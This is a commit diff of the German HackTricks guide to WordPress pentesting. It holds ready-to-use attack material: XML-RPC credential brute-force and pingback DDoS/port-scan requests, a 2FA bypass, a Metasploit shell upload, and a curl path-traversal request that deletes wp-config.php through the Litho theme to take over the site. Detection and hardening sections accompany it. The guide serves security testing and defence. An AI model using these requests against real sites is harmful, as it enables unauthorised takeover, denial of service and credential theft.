mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
		
							parent
							
								
									01d95a2040
								
							
						
					
					
						commit
						8bb586a4d2
					
				@ -5,46 +5,46 @@
 | 
			
		||||
## Grundinformationen
 | 
			
		||||
 | 
			
		||||
- **Hochgeladene** Dateien gehen zu: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
 | 
			
		||||
- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn Sie einige PHP-Dateien des Themes ändern, um RCE zu erhalten, werden Sie wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** können Sie die **404.php**-Datei unter: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
 | 
			
		||||
- **Theme-Dateien finden sich in /wp-content/themes/,** also wenn du etwas php des Themes änderst, um RCE zu erhalten, wirst du wahrscheinlich diesen Pfad verwenden. Zum Beispiel: Mit **Theme twentytwelve** kannst du die **404.php** Datei in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **zugreifen**.
 | 
			
		||||
 | 
			
		||||
- **Eine weitere nützliche URL könnte sein:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
 | 
			
		||||
 | 
			
		||||
- In **wp-config.php** finden Sie das Root-Passwort der Datenbank.
 | 
			
		||||
- In **wp-config.php** kannst du das Root-Passwort der Datenbank finden.
 | 
			
		||||
- Standard-Login-Pfade zum Überprüfen: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
 | 
			
		||||
 | 
			
		||||
### **Haupt WordPress-Dateien**
 | 
			
		||||
### **Haupt WordPress Dateien**
 | 
			
		||||
 | 
			
		||||
- `index.php`
 | 
			
		||||
- `license.txt` enthält nützliche Informationen wie die installierte WordPress-Version.
 | 
			
		||||
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Website verwendet.
 | 
			
		||||
- `wp-activate.php` wird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Seite verwendet.
 | 
			
		||||
- Login-Ordner (könnten umbenannt werden, um sie zu verbergen):
 | 
			
		||||
- `/wp-admin/login.php`
 | 
			
		||||
- `/wp-admin/wp-login.php`
 | 
			
		||||
- `/login.php`
 | 
			
		||||
- `/wp-login.php`
 | 
			
		||||
- `xmlrpc.php` ist eine Datei, die eine Funktion von WordPress darstellt, die es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
 | 
			
		||||
- Der `wp-content`-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
 | 
			
		||||
- `xmlrpc.php` ist eine Datei, die ein Feature von WordPress darstellt, das es ermöglicht, Daten über HTTP zu übertragen, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus fungiert. Diese Art der Kommunikation wurde durch die WordPress [REST API](https://developer.wordpress.org/rest-api/reference) ersetzt.
 | 
			
		||||
- Der `wp-content` Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind.
 | 
			
		||||
- `wp-content/uploads/` ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.
 | 
			
		||||
- `wp-includes/` Dies ist das Verzeichnis, in dem Kern-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.
 | 
			
		||||
- `wp-sitemap.xml` In WordPress-Versionen 5.5 und höher generiert WordPress eine Sitemap-XML-Datei mit allen öffentlichen Beiträgen und öffentlich abfragbaren Beitragstypen und Taxonomien.
 | 
			
		||||
 | 
			
		||||
**Post-Exploitation**
 | 
			
		||||
 | 
			
		||||
- Die `wp-config.php`-Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
 | 
			
		||||
- Die `wp-config.php` Datei enthält Informationen, die WordPress benötigt, um eine Verbindung zur Datenbank herzustellen, wie den Datenbanknamen, den Datenbank-Host, den Benutzernamen und das Passwort, Authentifizierungsschlüssel und Salze sowie das Datenbanktabellen-Präfix. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche nützlich sein kann.
 | 
			
		||||
 | 
			
		||||
### Benutzerberechtigungen
 | 
			
		||||
 | 
			
		||||
- **Administrator**
 | 
			
		||||
- **Redakteur**: Veröffentlicht und verwaltet seine und andere Beiträge
 | 
			
		||||
- **Editor**: Veröffentlicht und verwaltet seine und andere Beiträge
 | 
			
		||||
- **Autor**: Veröffentlicht und verwaltet seine eigenen Beiträge
 | 
			
		||||
- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie jedoch nicht veröffentlichen
 | 
			
		||||
- **Mitwirkender**: Schreibt und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
 | 
			
		||||
- **Abonnent**: Durchsucht Beiträge und bearbeitet sein Profil
 | 
			
		||||
 | 
			
		||||
## **Passive Enumeration**
 | 
			
		||||
 | 
			
		||||
### **WordPress-Version abrufen**
 | 
			
		||||
 | 
			
		||||
Überprüfen Sie, ob Sie die Dateien `/license.txt` oder `/readme.html` finden können.
 | 
			
		||||
Überprüfe, ob du die Dateien `/license.txt` oder `/readme.html` finden kannst.
 | 
			
		||||
 | 
			
		||||
Im **Quellcode** der Seite (Beispiel von [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
 | 
			
		||||
 | 
			
		||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
### Plugins abrufen
 | 
			
		||||
### Plugins erhalten
 | 
			
		||||
```bash
 | 
			
		||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
 | 
			
		||||
```
 | 
			
		||||
@ -103,7 +103,7 @@ Beachten Sie, dass dieser Endpunkt nur Benutzer anzeigt, die einen Beitrag erste
 | 
			
		||||
 | 
			
		||||
Beachten Sie auch, dass **/wp-json/wp/v2/pages** IP-Adressen leaken könnte.
 | 
			
		||||
 | 
			
		||||
- **Benutzernamenenumeration beim Login**: Beim Login in **`/wp-login.php`** ist die **Nachricht** **anders**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
 | 
			
		||||
- **Benutzername Enumeration beim Login**: Beim Einloggen in **`/wp-login.php`** ist die **Nachricht** **anders**, je nachdem, ob der angegebene **Benutzername existiert oder nicht**.
 | 
			
		||||
 | 
			
		||||
### XML-RPC
 | 
			
		||||
 | 
			
		||||
@ -120,9 +120,9 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
 | 
			
		||||
```
 | 
			
		||||

 | 
			
		||||
 | 
			
		||||
**Credentials Bruteforce**
 | 
			
		||||
**Anmeldeinformationen Bruteforce**
 | 
			
		||||
 | 
			
		||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu brute-forcen. Wenn Sie eine davon finden können, können Sie etwas wie Folgendes senden:
 | 
			
		||||
**`wp.getUserBlogs`**, **`wp.getCategories`** oder **`metaWeblog.getUsersBlogs`** sind einige der Methoden, die verwendet werden können, um Anmeldeinformationen zu bruteforcen. Wenn Sie eine davon finden können, können Sie etwas wie senden:
 | 
			
		||||
```html
 | 
			
		||||
<methodCall>
 | 
			
		||||
<methodName>wp.getUsersBlogs</methodName>
 | 
			
		||||
@ -134,7 +134,7 @@ Um zu sehen, ob es aktiv ist, versuchen Sie, auf _**/xmlrpc.php**_ zuzugreifen u
 | 
			
		||||
```
 | 
			
		||||
Die Nachricht _"Falscher Benutzername oder Passwort"_ sollte in einer 200-Code-Antwort erscheinen, wenn die Anmeldeinformationen ungültig sind.
 | 
			
		||||
 | 
			
		||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
			
		||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -174,12 +174,12 @@ Es gibt auch einen **schnelleren Weg**, um Anmeldeinformationen mit **`system.mu
 | 
			
		||||
 | 
			
		||||
**Umgehung von 2FA**
 | 
			
		||||
 | 
			
		||||
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, RCE zu erreichen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
 | 
			
		||||
Diese Methode ist für Programme und nicht für Menschen gedacht und ist alt, daher unterstützt sie kein 2FA. Wenn Sie also gültige Anmeldeinformationen haben, aber der Haupteingang durch 2FA geschützt ist, **könnten Sie in der Lage sein, xmlrpc.php zu missbrauchen, um sich mit diesen Anmeldeinformationen anzumelden und 2FA zu umgehen**. Beachten Sie, dass Sie nicht alle Aktionen ausführen können, die Sie über die Konsole durchführen können, aber Sie könnten dennoch in der Lage sein, zu RCE zu gelangen, wie Ippsec es in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) erklärt.
 | 
			
		||||
 | 
			
		||||
**DDoS oder Port-Scanning**
 | 
			
		||||
 | 
			
		||||
Wenn Sie die Methode _**pingback.ping**_ in der Liste finden, können Sie WordPress anweisen, eine beliebige Anfrage an einen beliebigen Host/Port zu senden.\
 | 
			
		||||
Dies kann verwendet werden, um **tausende** von WordPress **Seiten** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
 | 
			
		||||
Dies kann verwendet werden, um **tausende** von WordPress **Websites** zu **bitten**, einen **Standort** zu **zugreifen** (so wird ein **DDoS** an diesem Standort verursacht) oder Sie können es verwenden, um **WordPress** dazu zu bringen, ein internes **Netzwerk** zu **scannen** (Sie können jeden Port angeben).
 | 
			
		||||
```html
 | 
			
		||||
<methodCall>
 | 
			
		||||
<methodName>pingback.ping</methodName>
 | 
			
		||||
@ -193,7 +193,7 @@ Dies kann verwendet werden, um **tausende** von WordPress **Seiten** zu **bitten
 | 
			
		||||
 | 
			
		||||
Wenn Sie **faultCode** mit einem Wert **größer** als **0** (17) erhalten, bedeutet das, dass der Port offen ist.
 | 
			
		||||
 | 
			
		||||
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbraucht, um DDoS zu verursachen.
 | 
			
		||||
Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
 | 
			
		||||
 | 
			
		||||
**DDoS**
 | 
			
		||||
```html
 | 
			
		||||
@ -210,10 +210,10 @@ Schauen Sie sich die Verwendung von **`system.multicall`** im vorherigen Abschni
 | 
			
		||||
### wp-cron.php DoS
 | 
			
		||||
 | 
			
		||||
Diese Datei existiert normalerweise im Root-Verzeichnis der Wordpress-Seite: **`/wp-cron.php`**\
 | 
			
		||||
Wenn diese Datei **zugänglich** ist, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\
 | 
			
		||||
Wenn diese Datei **zugegriffen** wird, wird eine "**schwere**" MySQL **Abfrage** ausgeführt, die von **Angreifern** genutzt werden könnte, um einen **DoS** zu **verursachen**.\
 | 
			
		||||
Außerdem wird standardmäßig die `wp-cron.php` bei jedem Seitenaufruf (jedes Mal, wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was auf stark frequentierten Seiten Probleme (DoS) verursachen kann.
 | 
			
		||||
 | 
			
		||||
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob auf dem Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
 | 
			
		||||
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten Cronjob im Host zu erstellen, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
 | 
			
		||||
 | 
			
		||||
### /wp-json/oembed/1.0/proxy - SSRF
 | 
			
		||||
 | 
			
		||||
@ -231,7 +231,7 @@ https://github.com/t0gu/quickpress/blob/master/core/requests.go
 | 
			
		||||
 | 
			
		||||
Dieses Tool überprüft, ob die **methodName: pingback.ping** und der Pfad **/wp-json/oembed/1.0/proxy** existieren, und versucht, diese auszunutzen.
 | 
			
		||||
 | 
			
		||||
## Automatische Tools
 | 
			
		||||
## Automatische Werkzeuge
 | 
			
		||||
```bash
 | 
			
		||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
 | 
			
		||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
 | 
			
		||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
 | 
			
		||||
```
 | 
			
		||||
## Zugriff durch Überschreiben eines Bits erhalten
 | 
			
		||||
 | 
			
		||||
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konnte man 1 Bit aus einer beliebigen WordPress-Datei umkehren. Man konnte also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
 | 
			
		||||
Mehr als ein echter Angriff ist dies eine Neugier. Im CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) konntest du 1 Bit aus einer beliebigen WordPress-Datei umkehren. Du konntest also die Position `5389` der Datei `/var/www/html/wp-includes/user.php` umkehren, um die NOT-Operation (`!`) zu NOPen.
 | 
			
		||||
```php
 | 
			
		||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
 | 
			
		||||
return new WP_Error(
 | 
			
		||||
@ -262,7 +262,7 @@ Sie können verwenden:
 | 
			
		||||
```bash
 | 
			
		||||
use exploit/unix/webapp/wp_admin_shell_upload
 | 
			
		||||
```
 | 
			
		||||
to get a session.
 | 
			
		||||
um eine Sitzung zu erhalten.
 | 
			
		||||
 | 
			
		||||
## Plugin RCE
 | 
			
		||||
 | 
			
		||||
@ -299,7 +299,7 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
 | 
			
		||||
 | 
			
		||||
1. **Plugin-Akquisition**: Das Plugin wird aus einer Quelle wie Exploit DB wie [**hier**](https://www.exploit-db.com/exploits/36374) bezogen.
 | 
			
		||||
2. **Plugin-Installation**:
 | 
			
		||||
- Navigieren Sie zum WordPress-Dashboard, dann zu `Dashboard > Plugins > Plugin hochladen`.
 | 
			
		||||
- Navigieren Sie zum WordPress-Dashboard, gehen Sie dann zu `Dashboard > Plugins > Plugin hochladen`.
 | 
			
		||||
- Laden Sie die Zip-Datei des heruntergeladenen Plugins hoch.
 | 
			
		||||
3. **Plugin-Aktivierung**: Sobald das Plugin erfolgreich installiert ist, muss es über das Dashboard aktiviert werden.
 | 
			
		||||
4. **Ausnutzung**:
 | 
			
		||||
@ -307,7 +307,7 @@ Diese Methode beinhaltet die Installation eines bösartigen Plugins, das als anf
 | 
			
		||||
- Das Metasploit-Framework bietet einen Exploit für diese Schwachstelle. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine Meterpreter-Sitzung eingerichtet werden, die unbefugten Zugriff auf die Site gewährt.
 | 
			
		||||
- Es wird angemerkt, dass dies nur eine der vielen Methoden ist, um eine WordPress-Website auszunutzen.
 | 
			
		||||
 | 
			
		||||
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
 | 
			
		||||
Der Inhalt enthält visuelle Hilfsmittel, die die Schritte im WordPress-Dashboard zur Installation und Aktivierung des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise illegal und unethisch ist, ohne die entsprechende Genehmigung. Diese Informationen sollten verantwortungsbewusst und nur in einem rechtlichen Kontext verwendet werden, wie z.B. bei Penetrationstests mit ausdrücklicher Genehmigung.
 | 
			
		||||
 | 
			
		||||
**Für detailliertere Schritte siehe:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
 | 
			
		||||
 | 
			
		||||
@ -334,21 +334,21 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
 | 
			
		||||
 | 
			
		||||
### Angriffsfläche
 | 
			
		||||
 | 
			
		||||
Zu wissen, wie ein Wordpress-Plugin Funktionen exponieren kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen exponieren könnte, in den folgenden Punkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
			
		||||
Zu wissen, wie ein Wordpress-Plugin Funktionen offenlegen kann, ist entscheidend, um Schwachstellen in seiner Funktionalität zu finden. Sie können herausfinden, wie ein Plugin Funktionen offenlegen könnte, in den folgenden Punkten und einigen Beispielen für anfällige Plugins in [**diesem Blogbeitrag**](https://nowotarski.info/wordpress-nonce-authorization/).
 | 
			
		||||
 | 
			
		||||
- **`wp_ajax`**
 | 
			
		||||
 | 
			
		||||
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer exponieren kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
 | 
			
		||||
Eine der Möglichkeiten, wie ein Plugin Funktionen für Benutzer offenlegen kann, ist über AJAX-Handler. Diese könnten Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Darüber hinaus ist es häufig der Fall, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress-Nonce stützen, den **jeder Benutzer, der in der Wordpress-Instanz authentifiziert ist, haben könnte** (unabhängig von seiner Rolle).
 | 
			
		||||
 | 
			
		||||
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin zu exponieren:
 | 
			
		||||
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin offenzulegen:
 | 
			
		||||
```php
 | 
			
		||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
 | 
			
		||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
 | 
			
		||||
```
 | 
			
		||||
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).**
 | 
			
		||||
**Die Verwendung von `nopriv` macht den Endpunkt für alle Benutzer (auch für nicht authentifizierte) zugänglich.**
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten niedrig privilegierte Benutzer Zugriff auf hoch privilegierte Aktionen haben.
 | 
			
		||||
> Darüber hinaus, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion `wp_verify_nonce` überprüft, prüft diese Funktion nur, ob der Benutzer angemeldet ist, normalerweise wird die Rolle des Benutzers nicht überprüft. Daher könnten Benutzer mit niedrigen Berechtigungen Zugriff auf hochprivilegierte Aktionen haben.
 | 
			
		||||
 | 
			
		||||
- **REST API**
 | 
			
		||||
 | 
			
		||||
@ -362,13 +362,89 @@ $this->namespace, '/get/', array(
 | 
			
		||||
)
 | 
			
		||||
);
 | 
			
		||||
```
 | 
			
		||||
Der `permission_callback` ist ein Callback zu einer Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
 | 
			
		||||
Der `permission_callback` ist ein Rückruf an eine Funktion, die überprüft, ob ein gegebener Benutzer berechtigt ist, die API-Methode aufzurufen.
 | 
			
		||||
 | 
			
		||||
**Wenn die eingebaute `__return_true`-Funktion verwendet wird, wird die Überprüfung der Benutzerberechtigungen einfach übersprungen.**
 | 
			
		||||
 | 
			
		||||
- **Direkter Zugriff auf die PHP-Datei**
 | 
			
		||||
 | 
			
		||||
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, wird es von jedem Benutzer aus ausnutzbar sein.
 | 
			
		||||
Natürlich verwendet WordPress PHP, und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Falls ein Plugin also eine verwundbare Funktionalität offenlegt, die durch den Zugriff auf die Datei ausgelöst wird, ist es für jeden Benutzer ausnutzbar.
 | 
			
		||||
 | 
			
		||||
### Unauthentifizierte willkürliche Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
 | 
			
		||||
 | 
			
		||||
WordPress-Themen und -Plugins legen häufig AJAX-Handler über die `wp_ajax_` und `wp_ajax_nopriv_` Hooks offen. Wenn die **_nopriv_**-Variante verwendet wird, **wird der Rückruf für unauthentifizierte Besucher erreichbar**, sodass jede sensible Aktion zusätzlich implementieren muss:
 | 
			
		||||
 | 
			
		||||
1. Eine **Berechtigungsüberprüfung** (z. B. `current_user_can()` oder mindestens `is_user_logged_in()`), und
 | 
			
		||||
2. Ein **CSRF-Nonce**, validiert mit `check_ajax_referer()` / `wp_verify_nonce()`, und
 | 
			
		||||
3. **Strenge Eingabesäuberung / Validierung**.
 | 
			
		||||
 | 
			
		||||
Das Litho-Multipurpose-Theme (< 3.1) hat diese 3 Kontrollen in der Funktion *Remove Font Family* vergessen und endete mit dem folgenden Code (vereinfacht):
 | 
			
		||||
```php
 | 
			
		||||
function litho_remove_font_family_action_data() {
 | 
			
		||||
if ( empty( $_POST['fontfamily'] ) ) {
 | 
			
		||||
return;
 | 
			
		||||
}
 | 
			
		||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
 | 
			
		||||
$upload_dir = wp_upload_dir();
 | 
			
		||||
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
 | 
			
		||||
$filesystem = Litho_filesystem::init_filesystem();
 | 
			
		||||
 | 
			
		||||
if ( file_exists( $srcdir ) ) {
 | 
			
		||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
 | 
			
		||||
}
 | 
			
		||||
die();
 | 
			
		||||
}
 | 
			
		||||
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
 | 
			
		||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
 | 
			
		||||
```
 | 
			
		||||
Probleme, die durch diesen Snippet eingeführt werden:
 | 
			
		||||
 | 
			
		||||
* **Unauthentifizierter Zugriff** – der `wp_ajax_nopriv_` Hook ist registriert.
 | 
			
		||||
* **Kein Nonce-/Berechtigungscheck** – jeder Besucher kann den Endpunkt aufrufen.
 | 
			
		||||
* **Keine Pfadsanitisierung** – der benutzerkontrollierte `fontfamily`-String wird ohne Filterung an einen Dateisystempfad angehängt, was klassische `../../` Traversierung ermöglicht.
 | 
			
		||||
 | 
			
		||||
#### Ausnutzung
 | 
			
		||||
 | 
			
		||||
Ein Angreifer kann jede Datei oder jedes Verzeichnis **unterhalb des Uploads-Stammverzeichnisses** (normalerweise `<wp-root>/wp-content/uploads/`) löschen, indem er eine einzige HTTP POST-Anfrage sendet:
 | 
			
		||||
```bash
 | 
			
		||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
 | 
			
		||||
-d 'action=litho_remove_font_family_action_data' \
 | 
			
		||||
-d 'fontfamily=../../../../wp-config.php'
 | 
			
		||||
```
 | 
			
		||||
Weil `wp-config.php` außerhalb von *uploads* liegt, sind vier `../`-Sequenzen bei einer Standardinstallation ausreichend. Das Löschen von `wp-config.php` zwingt WordPress beim nächsten Besuch in den *Installationsassistenten*, was eine vollständige Übernahme der Seite ermöglicht (der Angreifer gibt lediglich eine neue DB-Konfiguration ein und erstellt einen Admin-Benutzer).
 | 
			
		||||
 | 
			
		||||
Weitere wichtige Ziele sind Plugin-/Theme-`.php`-Dateien (um Sicherheits-Plugins zu umgehen) oder `.htaccess`-Regeln.
 | 
			
		||||
 | 
			
		||||
#### Erkennungscheckliste
 | 
			
		||||
 | 
			
		||||
* Jeder `add_action( 'wp_ajax_nopriv_...')`-Callback, der Dateisystem-Helfer aufruft (`copy()`, `unlink()`, `$wp_filesystem->delete()`, usw.).
 | 
			
		||||
* Verkettung von unsaniertem Benutzereingaben in Pfade (suchen Sie nach `$_POST`, `$_GET`, `$_REQUEST`).
 | 
			
		||||
* Abwesenheit von `check_ajax_referer()` und `current_user_can()`/`is_user_logged_in()`.
 | 
			
		||||
 | 
			
		||||
#### Härtung
 | 
			
		||||
```php
 | 
			
		||||
function secure_remove_font_family() {
 | 
			
		||||
if ( ! is_user_logged_in() ) {
 | 
			
		||||
wp_send_json_error( 'forbidden', 403 );
 | 
			
		||||
}
 | 
			
		||||
check_ajax_referer( 'litho_fonts_nonce' );
 | 
			
		||||
 | 
			
		||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
 | 
			
		||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
 | 
			
		||||
 | 
			
		||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
 | 
			
		||||
wp_send_json_error( 'invalid path', 400 );
 | 
			
		||||
}
 | 
			
		||||
// … proceed …
 | 
			
		||||
}
 | 
			
		||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
 | 
			
		||||
//  🔒  NO wp_ajax_nopriv_ registration
 | 
			
		||||
```
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> **Behandeln** Sie immer jede Schreib-/Löschoperation auf der Festplatte als privilegiert und überprüfen Sie doppelt:
 | 
			
		||||
> • Authentifizierung  • Autorisierung  • Nonce  • Eingabesäuberung  • Pfadbegrenzung (z.B. über `realpath()` plus `str_starts_with()`).
 | 
			
		||||
 | 
			
		||||
---
 | 
			
		||||
 | 
			
		||||
## WordPress-Schutz
 | 
			
		||||
 | 
			
		||||
@ -390,10 +466,14 @@ Auch, **installieren Sie nur vertrauenswürdige WordPress-Plugins und -Themes**.
 | 
			
		||||
 | 
			
		||||
### **Weitere Empfehlungen**
 | 
			
		||||
 | 
			
		||||
- Entfernen Sie den standardmäßigen **admin**-Benutzer
 | 
			
		||||
- Entfernen Sie den standardmäßigen **Admin**-Benutzer
 | 
			
		||||
- Verwenden Sie **starke Passwörter** und **2FA**
 | 
			
		||||
- Überprüfen Sie regelmäßig die **Berechtigungen** der Benutzer
 | 
			
		||||
- **Begrenzen Sie die Anmeldeversuche**, um Brute-Force-Angriffe zu verhindern
 | 
			
		||||
- Benennen Sie die **`wp-admin.php`**-Datei um und erlauben Sie den Zugriff nur intern oder von bestimmten IP-Adressen.
 | 
			
		||||
 | 
			
